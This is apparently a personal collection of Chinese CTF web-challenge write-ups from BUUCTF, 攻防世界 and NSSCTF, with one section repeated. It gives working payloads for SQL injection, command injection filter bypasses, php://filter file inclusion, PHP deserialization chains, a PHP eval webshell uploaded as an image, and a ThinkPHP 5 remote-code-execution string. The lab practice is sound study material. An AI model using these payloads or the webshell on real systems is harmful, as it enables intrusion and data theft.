我一直陪着你
- BUUCTF
- 攻防世界
- NSS
- 知识
- [SWPUCTF 2021 新生赛]gift_F12
- [SWPUCTF 2021 新生赛]jicao
- [SWPUCTF 2021 新生赛]easy_md5
- [SWPUCTF 2021 新生赛]easy_sql
- [SWPUCTF 2021 新生赛]include
- [SWPUCTF 2021 新生赛]easyrce
- [第五空间 2021]WebFTP
- [SWPUCTF 2021 新生赛]Do_you_know_http
- [SWPUCTF 2021 新生赛]ez_unserialize
- [SWPUCTF 2021 新生赛]easyupload1.0
- [SWPUCTF 2021 新生赛]easyupload2.0
- [SWPUCTF 2021 新生赛]no_wakeup
- [SUCTF 2019]EasySQL
- [ZJCTF 2019]NiZhuanSiWei
- [HNCTF 2022 Week1]easy_upload
- [鹤城杯 2021]Middle magic
- [SWPUCTF 2022 新生赛]奇妙的MD5
- 密码爆破
- [GKCTF 2021]easycms
- [HNCTF 2022 Week1]Interesting_http
- [第五空间 2021]pklovecloud
- [SWPUCTF 2022 新生赛]1z_unserialize
- [SWPUCTF 2022 新生赛]ez_rce
BUUCTF
知识
[极客大挑战 2019]EasySQL
进来看到
' or 1=1-- qwe
[极客大挑战 2019]Havefun
进来看到
F12检查
发现/?cat=dog会有输出,试着传参,得到flag
[HCTF 2018]WarmUp
进来看到
ctrl+u
检查页面源代码
访问source.php
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
————————
访问hint.php
知道了flag的位置ffffllllaaaagggg
,接下来进行代码审计
highlight_file(__FILE__);:这一行代码用于在页面上显示当前文件的源代码。它不会对代码的安全性产生直接影响,只是用于演示和调试目的。
class emmm:这是一个定义了名为 emmm 的类。
public static function checkFile(&$page):这是 emmm 类中的一个静态方法,用于检查传递给它的文件名是否在白名单中。
$whitelist:这是一个白名单数组,包含了允许包含的文件名。只有在白名单中的文件名才能被包含。
if (! isset($page) || !is_string($page)):这个条件检查传递给 checkFile 方法的 $page 参数是否存在且为字符串。如果不满足这个条件,它会输出 "you can't see it" 并返回 false。
if (in_array($page, $whitelist)):这个条件检查传递给 checkFile 方法的 $page 是否在白名单中,如果在白名单中则返回 true,表示允许包含该文件。
$_page = mb_substr($page, 0, mb_strpos($page . '?', '?'));:这段代码从 $page 中提取出问号之前的部分,并将提取的结果赋值给 $_page。这似乎是在处理文件名中的查询参数部分,但在这个上下文中并没有实际作用。
后续的两个类似的条件块对 $page 进行类似的处理,然后检查 $_page 是否在白名单中。如果在白名单中,则返回 true,表示允许包含该文件。
如果 $page 不在白名单中,那么最后一个条件块会输出 "you can't see it" 并返回 false。
if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file'])):这个条件检查从请求中获取的 file 参数是否存在、是否为字符串,并调用 emmm::checkFile 方法来检查是否允许包含该文件。
如果条件满足,则通过 include $_REQUEST['file'] 来包含用户请求的文件。
如果条件不满足,则会输出一个带有图片链接的文本。
分析存在文件包含漏洞
构造payload:
/?file=source.php?../../../../../ffffllllaaaagggg
[ACTF2020 新生赛]Include
进来看到
————————
点击
注意到/?file=
,
猜测是文件包含漏洞,php伪协议
构造payload
/?file=php://filter/read=convert.base64-encode/resource=flag.php
————————
————————
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7YWE0ODhiMmYtNjg3NC00MTg3LWEwZTMtZjA3MThkMGMyMjJkfQo=
进行Base64解码,得到flag
[ACTF2020 新生赛]Exec
进来就看到此,和PING相关,可能是命令执行
进行如下操作,进而确认
查看根目录
可以看flag咯
[GXYCTF2019]Ping Ping Ping
进来就看到要给IP传参,可能和PING相关
确实是
得index.php的源码时出现问题,应该为空格过滤
如何绕过过滤
请一个一个尝试一下
得到源码
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>
过滤了
&, /, ?, *, <,在 0x00 到 0x1F 之间的字符(都是不可见字符),
>, ', ", , (, ), [, ], {, },
空格,
bash,
包含类似 “flag” 的字符序列
上面有绕过手法
payload:1;p=lag;cat$IFS$9f$p.php
ctrl+u
查看源代码,得flag
[强网杯 2019]随便注
进来看到的界面
先尝试显错注入,可以
判断页面字段数,为2;
想看显错点,发现过滤
考虑堆叠注入,获取数据库,成功
获取表
获取字段
得数据的三种方法
换表名和字段名:一
1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#
16进制:一
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
handler:贰
1'; handler `1919810931114514` open as `a`; handler `a` read next;#
[SUCTF 2019]EasySQL
进入题目,看到:
尝试了几次显错注入,失败
尝试堆叠注入,成功得到数据库名
得表名
1;select column_name from information_schema.columns where
table_schema=database() and table_name=‘Flag’
1;show columns from Flag
都无法再得到字段名
***后面的思路挺新奇的,请仔细看看
尝试输入1查看回显:
可以看到表格回显了内容:1,用其他非0数字尝试全都回显1,那我们换个数字尝试,比如0:
什么都没有。用字母同理无回显。
先了解一下||操作符:在MySQL中,操作符||表示“或”逻辑:
command1 || command2
c1和c2其中一侧为1则取1,否则取0
大胆猜测后端(内部查询语句)语句中有||操作符,只有我们输入非零数字才会满足||的逻辑为True从而进行回显的条件。也就是满足:select 输入的内容 || 一个列名 from 表名。(select 输入数据 || flag from Flag)
再结合传参名
推测内置的sql语句为"select".post[‘query’]."||flag from Flag"
;
解法1
输入的内容为*,1
内置的sql语句为"select".post[‘query’]."||flag from Flag";
如果$post[‘query’]的数据为*,1,sql语句就变成了select *,1||flag from Flag,也就是select *,1 from Flag,也就是直接查询出了Flag表中的所有内容
解法2
输入的内容为1;set sql_mode=pipes_as_concat;select 1
其中set sql_mode=pipes_as_concat的作用是将||的作用由or变为拼接字符串,or就相当于是,
[极客大挑战 2019]Secret File
进入题目
检查,发现可以点到另一个网页
点击
此时开启Burp Suit,点击selct,并开启抓返回包的功能
放包,返回包里发现另一个网页
访问,得到源代码,发现flag在flag.php,可以利用文件包含漏洞
还用到了PHP伪协议,构造flag如下:
?file=php://filter/read=convert.base64-encode/resource=flag.php
[极客大挑战 2019]LoveSQL
进来看到
'or 1=1 -- qwe
'or 1=1 order by 3 -- qwe
'union select 1,2,3 -- qwe
'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- qwe
'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name = 'l0ve1ysq1' -- qwe
'union select 1,2,group_concat(id,username,password) from l0ve1ysq1 -- qwe
攻防世界
知识
view_source
进来看到
ctrl+u查看源代码,得到flag
robots
进来啥也没有看到
访问robots.txt
文件夹
继续访问f1ag_1s_h3re.php
,得到flag
backup
进来看到
————————
常见的备份文件后缀名有
.git .svn .swp .~ .bak .bash_history
一个一个试了,发现自动下载一个文件
在文件中找到flag
cookie
进来看到
查看cookie
访问cookie.php
抓包看,返回包,找到flag
disabled_button
进来看到
看这里
其他人写好的write
get_post
进来看到
/?a=1
b=2
weak_auth
进来看到
随便输入
知道账号名为admin
,再爆破密码,从返回包中得到flag
simple_php
进来看到
弱类型绕过
payload:/?a=abc&b=1235a
command_execution
进来看到
远程命令执行
1;ls /
1;ls /home
1;cat /home/flag.txt
xff_referer
进来看到
————————————
————————————————
得到flag
NSS
知识
[SWPUCTF 2021 新生赛]gift_F12
进来看到
ctrl+u
查看源码,找到flag,但还需要根据题目的提示变换一下flag
最后flag:NSSCTF{We1c0me_t0_WLLMCTF_Th1s_1s_th3_G1ft}
[SWPUCTF 2021 新生赛]jicao
进来看到
highlight_file('index.php');:这一行代码将显示 index.php 文件的内容,通常用于显示源代码。这可能是为了让你更好地理解代码的运行方式。
include("flag.php");:这一行代码包含了一个名为 flag.php 的文件。通常,这是一个包含了敏感信息的文件,比如这里可能存储了我们想要获取的 flag。
$id=$_POST['id'];:这一行代码从 POST 请求中获取了名为 id 的参数的值,然后将其赋值给变量 $id。
$json=json_decode($_GET['json'],true);:这一行代码尝试将通过 GET 请求获取的名为 json 参数的值解析为 JSON 格式,并将其存储在变量 $json 中。第二个参数 true 表示将 JSON 解析为关联数组。
if ($id=="wllmNB"&&$json['x']=="wllm"):这是一个条件语句,如果 id 参数的值等于 "wllmNB" 并且 json 参数中的 x 键的值等于 "wllm",则进入条件块。
{echo $flag;}:如果前面的条件成立,就会输出 flag 的值,即获取到了 flag。
综合来看,要解决这个挑战,可能需要:
发送一个 POST 请求,并将 id 参数设置为 "wllmNB"。
同时,发送一个 GET 请求,其中 json 参数的值为 {"x": "wllm"}。
得到flag
[SWPUCTF 2021 新生赛]easy_md5
进来看到
分析源代码
highlight_file(__FILE__); 这一行是用来在浏览器中显示当前文件的源代码。
include 'flag2.php'; 这一行似乎是在当前代码中包含了另一个名为 flag2.php 的文件,其中可能包含了敏感信息。
if (isset($_GET['name']) && isset($_POST['password'])) 这个条件语句检查是否同时存在名为 name 的 GET 参数和名为 password 的 POST 参数。
$name = $_GET['name']; 这一行将 GET 参数中的 name 赋值给变量 $name。
$password = $_POST['password']; 这一行将 POST 参数中的 password 赋值给变量 $password。
if ($name != $password && md5($name) == md5($password)) 这个条件语句首先检查变量 $name 和 $password 是否不相等,然后检查它们的 MD5 哈希值是否相等。
如果条件满足,即 $name 和 $password 不相等,并且它们的 MD5 哈希值相等,那么代码将输出 $flag。否则,将输出 "wrong!"。
payload有两种:
①
GET: name[]=1
POST: password[]=2
②
GET: name=QNKCDZO
POST: password=byGcY
[SWPUCTF 2021 新生赛]easy_sql
进入看到
看网页名或查看源代码,提示参数是
————————
传参一个万能密码‘ or 1=1-- qwe
时间盲注(对错或时间都可以)
sqlmap正常扫就行,没有发现什么限制
[SWPUCTF 2021 新生赛]include
进来看到
给file随意传一个参数
/?file=222
发现文件包含漏洞,这里要利用php伪协议
payload:
/?file=php://filter/read=convert.base64-encode/resource=flag.php
Base64解码得flag
[SWPUCTF 2021 新生赛]easyrce
进来看到
eval
明显的命令执行漏洞
payload:
/?url=system('ls /');
/?url=system('cat /flllllaaaaaaggggggg ');
[第五空间 2021]WebFTP
进来看到
dirsearch扫描网页
因为编程语言是PHP
所以扫描语句是
dirsearch -u http://node4.anna.nssctf.cn:28479/?m=login&a=in -e php
扫出一些文件夹
访问phpinfo.php
并搜索NSSCTF{
[SWPUCTF 2021 新生赛]Do_you_know_http
进来看到
——————————————————
请注意
前后的地址变了
得到flag
[SWPUCTF 2021 新生赛]ez_unserialize
进来看到
在源码中发现提示
这是提醒我们访问robots.txt
访问,获得源代码
<?php
error_reporting(0);
show_source("cl45s.php");
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$p = $_GET['p'];
unserialize($p);
?>
生成payload的脚本
<?php
class wllm{
public $admin='admin';
public $passwd='ctf';
}
$a=new wllm();
$b=serialize($a);
echo $b;
O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
payload:
?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
获得flag:
[SWPUCTF 2021 新生赛]easyupload1.0
进来看到
我们直接上传图片马
由<?php @eval($_POST[8]);?>
和一张图片组成
提示文件太大了,尝试上传改了后缀名变成图片的文本
<?php @eval($_POST[8]);?>
上传成功,连蚁剑
但你只会找到一个假的flag,真的在环境变量里
[SWPUCTF 2021 新生赛]easyupload2.0
进来看到
我们直接上传图片马
由<?php @eval($_POST[8]);?>
和一张图片组成
提示
修改后缀为phtml,上传成功
连蚁剑
这一次很快就找到flag了
[SWPUCTF 2021 新生赛]no_wakeup
点击得到源代码
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");
class HaHaHa{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __wakeup(){
$this->passwd = sha1($this->passwd);
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "wllm"){
include("flag.php");
echo $flag;
}else{
echo $this->passwd;
echo "No wake up";
}
}
}
$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);
?>
需要绕过__wakeup:对象的属性个数大于真实个数
脚本:
<?php
class HaHaHa{
public $admin='admin';
public $passwd='wllm';
}
$a=new HaHaHa();
$b=serialize($a);
echo $b;
O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
payload:
/?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
得到flag
[SUCTF 2019]EasySQL
进入题目,看到:
尝试了几次显错注入,失败
尝试堆叠注入,成功得到数据库名
得表名
1;select column_name from information_schema.columns where
table_schema=database() and table_name=‘Flag’
1;show columns from Flag
都无法再得到字段名
***后面的思路挺新奇的,请仔细看看
尝试输入1查看回显:
可以看到表格回显了内容:1,用其他非0数字尝试全都回显1,那我们换个数字尝试,比如0:
什么都没有。用字母同理无回显。
先了解一下||操作符:在MySQL中,操作符||表示“或”逻辑:
command1 || command2
c1和c2其中一侧为1则取1,否则取0
大胆猜测后端(内部查询语句)语句中有||操作符,只有我们输入非零数字才会满足||的逻辑为True从而进行回显的条件。也就是满足:select 输入的内容 || 一个列名 from 表名。(select 输入数据 || flag from Flag)
再结合传参名
推测内置的sql语句为"select".post[‘query’]."||flag from Flag"
;
解法1
输入的内容为*,1
内置的sql语句为"select".post[‘query’]."||flag from Flag";
如果$post[‘query’]的数据为*,1,sql语句就变成了select *,1||flag from Flag,也就是select *,1 from Flag,也就是直接查询出了Flag表中的所有内容
解法2
输入的内容为1;set sql_mode=pipes_as_concat;select 1
其中set sql_mode=pipes_as_concat的作用是将||的作用由or变为拼接字符串,or就相当于是,
[ZJCTF 2019]NiZhuanSiWei
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
data://写入协议来应对file_get_contents($text,'r')==="welcome to the zjctf"
?text=data://text/plain,welcome to the zjctf
题目提醒了要包含useless.php文件
使用php伪协议来读取文件
php://filter/read=convert.base64-encode/resource=useless.php
payload为:
?text=data://text/plain,welcome to the zjctf&&file=php://filter/read=convert.base64-encode/resource=useless.php
得到一串密文
Base64解密得到
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
脚本
<?php
class Flag{ //flag.php
public $file='flag.php';
}
$a = new Flag();
echo serialize($a);
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最终payload
/?text=data://text/plain,welcome to the zjctf&&file=useless.php&&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
输入payload页面如下
查看源码,发现flag
[HNCTF 2022 Week1]easy_upload
考点:后缀名改为php
连蚁剑
[鹤城杯 2021]Middle magic
<?php
highlight_file(__FILE__);
include "./flag.php";
include "./result.php";
if(isset($_GET['aaa']) && strlen($_GET['aaa']) < 20){
$aaa = preg_replace('/^(.*)level(.*)$/', '${1}<!-- filtered -->${2}', $_GET['aaa']);
if(preg_match('/pass_the_level_1#/', $aaa)){
echo "here is level 2";
if (isset($_POST['admin']) and isset($_POST['root_pwd'])) {
if ($_POST['admin'] == $_POST['root_pwd'])
echo '<p>The level 2 can not pass!</p>';
// START FORM PROCESSING
else if (sha1($_POST['admin']) === sha1($_POST['root_pwd'])){
echo "here is level 3,do you kown how to overcome it?";
if (isset($_POST['level_3'])) {
$level_3 = json_decode($_POST['level_3']);
if ($level_3->result == $result) {
echo "success:".$flag;
}
else {
echo "you never beat me!";
}
}
else{
echo "out";
}
}
else{
die("no");
}
// perform validations on the form data
}
else{
echo '<p>out!</p>';
}
}
else{
echo 'nonono!';
}
echo '<hr>';
}
?>
1.代码分析
一共三层if,我们逐层看看:
第一个if要求aaa=pass_the_level_1#,但会将传入的level替换为filtered;
第二个if要求传入两个不相等变量admin和root_pwd,但要求两者sha1加密后相等;
第三个if要求传入level_3,对其进行json_decode后,需要$level_3->result == $result
2. 构造payload
[0x00] \n
第一个if,因为preg_replace函数只能匹配一行的数据,因此我们只需先传入换行符,那么后面的传入便不再被匹配:
/?aaa=%0apass_the_level_1%23
%0a和%23分别是换行符和井号键的url编码
[0x01] a[]
第二个if,我们利用数组绕过,具体原因是sha1加密时,若传入的是数组,返回值为null:
admin[]=1&root_pwd[]=2
[0x02] JSON:level_3={“*”: *}
第三个if,我们传入一个JSON格式的字符串,即:
level_3={"result":0}
php弱比较在面对纯字符与0的比较时,会返回true,例如a == 0返回为true
此处推测$result是纯字符,因此构造result->0
将上述传入后得到flag:
——————————
[SWPUCTF 2022 新生赛]奇妙的MD5
和MD5
相关的万能密码ffifdyop
查看源码,
<!--
$x= $GET['x'];
$y = $_GET['y'];
if($x != $y && md5($x) == md5($y)){
;
-->
MD5弱类型绕过
http://node5.anna.nssctf.cn:28902/c0nt1nue.php?x[]=1&y[]=2
此时URL变了,重新LOAD
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['wqh']!==$_POST['dsy']&&md5($_POST['wqh'])===md5($_POST['dsy'])){
echo $FLAG;
}
还是弱类型绕过
wqh[]=1&dsy[]=2
密码爆破
存的密码跑不出来,检查,找到提示
<!-- 我们得到了密码的一部分 nss***312 并且知道星号部分为数字 -->
爆破000-999,可是只能是0-999,这次幸运,以后得自己制作数字字典
NSSCTF{1ef6d7de-4669-4915-9c66-96ee07365ba6}
[GKCTF 2021]easycms
考点:cms"蝉知7.7"
访问admin.php
http://node4.anna.nssctf.cn:28803/admin.php?m=user&f=login&referer=L2FkbWluLnBocA==
这里的url后面的referer
经过base64解码后是/admin.php
,本来想直接把他改成/flag
发现不行,只能从尝试登录
试了试弱口令admin和12345
直接成功了
点击设计
,然后随便选择一个主题
,点击自定义
,有一个导出主题
随便输点东西进去
点击保存后,会给我们下载一个文件
将该文件的下载链接复制下来
http://node4.anna.nssctf.cn:28803/admin.php?m=ui&f=downloadtheme&theme=L3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL2RlZmF1bHQvMS56aXA=
可以看到theme是经过base64加密后的密文,将他解码得到
http://node4.anna.nssctf.cn:28803/admin.php?m=ui&f=downloadtheme&theme=/var/www/html/system/tmp/theme/default/1.zip
猜测可能存在任意文件下载,将theme后面的内容改成将/flag
base加密后的字符串,得到payload:
http://node4.anna.nssctf.cn:28640/admin.php?m=ui&f=downloadtheme&theme=L2ZsYWc=
下载后是个压缩包,将文件扩展名改成.txt
或者直接用everedit
打开得到flag
[HNCTF 2022 Week1]Interesting_http
考点:
HTTP:
POST Cookie X-Forwarded-For
[第五空间 2021]pklovecloud
考点:PHP引用 新建类来满足条件 首次触发的是__toString
<?php
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(__file__);
}
?>
这里很快就可以看到需要利用的点在ace::echo_name的file_get_contents,
pop链非常简单acp::__toString->ace::echo_name
。
首先要的点实在acp的cinder
,这个变量的属性是protected
,刚开始做题的时候没看到一直在想到底哪里错了,这里我们要在acp::__construct
来实例化ace
类。
acp::__toString的触发方法
if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
这段代码中的echo会将acp类当作字符串输出,这时就会触发toString。
然后再看到ace
类,filename要等于flag.php
,docker
要为一个类,虽然后续的变量看起来是acp
类的,但是acp类里面都受保护的变量,序列化后会有不可见字符处理起来不方便。我们不妨新写一个类fake
,这个类里面只有$neutron和$nova
。
class fake
{
public $neutron=1;
public $nova;
}
接着往下看
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
这里对neutron进行了赋值,让它等于heat,那么这个时候neutron就不可能与nova全等。
要绕过这一层就需要用到PHP的引用,大致的意思就是让两个变量指向同一个内容。
首先对刚刚新写的类进行序列化
$fake = new fake();
$fake->nova = &$fake->neutron;
$fake = serialize($fake);
echo $fake;
得到O:4:"fake":2:{s:7:"neutron";i:1;s:4:"nova";R:2;}
,将它赋值给docker
。
exp如下:
<?php
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new ace;
}
}
class ace
{
public $filename="flag.php";
public $openstack;
public $docker='O:4:"fake":2:{s:7:"neutron";i:1;s:4:"nova";R:2;}';
}
$acp = new acp();
$acp = urlencode(serialize($acp));
echo $acp;
?>
payload:
O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A48%3A%22O%3A4%3A%22fake%22%3A2%3A%7Bs%3A7%3A%22neutron%22%3Bi%3A1%3Bs%3A4%3A%22nova%22%3BR%3A2%3B%7D%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D
查看源码
最后将../nssctfasdasdflag
赋值给filename,
payload:
O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A19%3A%22…%2Fnssctfasdasdflag%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A48%3A%22O%3A4%3A%22fake%22%3A2%3A%7Bs%3A7%3A%22neutron%22%3Bi%3A1%3Bs%3A4%3A%22nova%22%3BR%3A2%3B%7D%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D
参考:
https://www.cnblogs.com/bl0ck/articles/17728863.html
[SWPUCTF 2022 新生赛]1z_unserialize
<?php
class lyh{
public $url = 'NSSCTF.com';
public $lt;
public $lly;
function __destruct()
{
$a = $this->lt;
$a($this->lly);
}
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
?>
[SWPUCTF 2022 新生赛]ez_rce
考点:ThinkPHP V5框架 find命令查找flag文件(多个混淆)
真的什么都没有吗?
访问robots.txt
/NSS/index.php/
访问
直接搜到payload:
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name flag
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/nss/ctf/flag/flag
参考:
https://www.bilibili.com/read/cv21664530/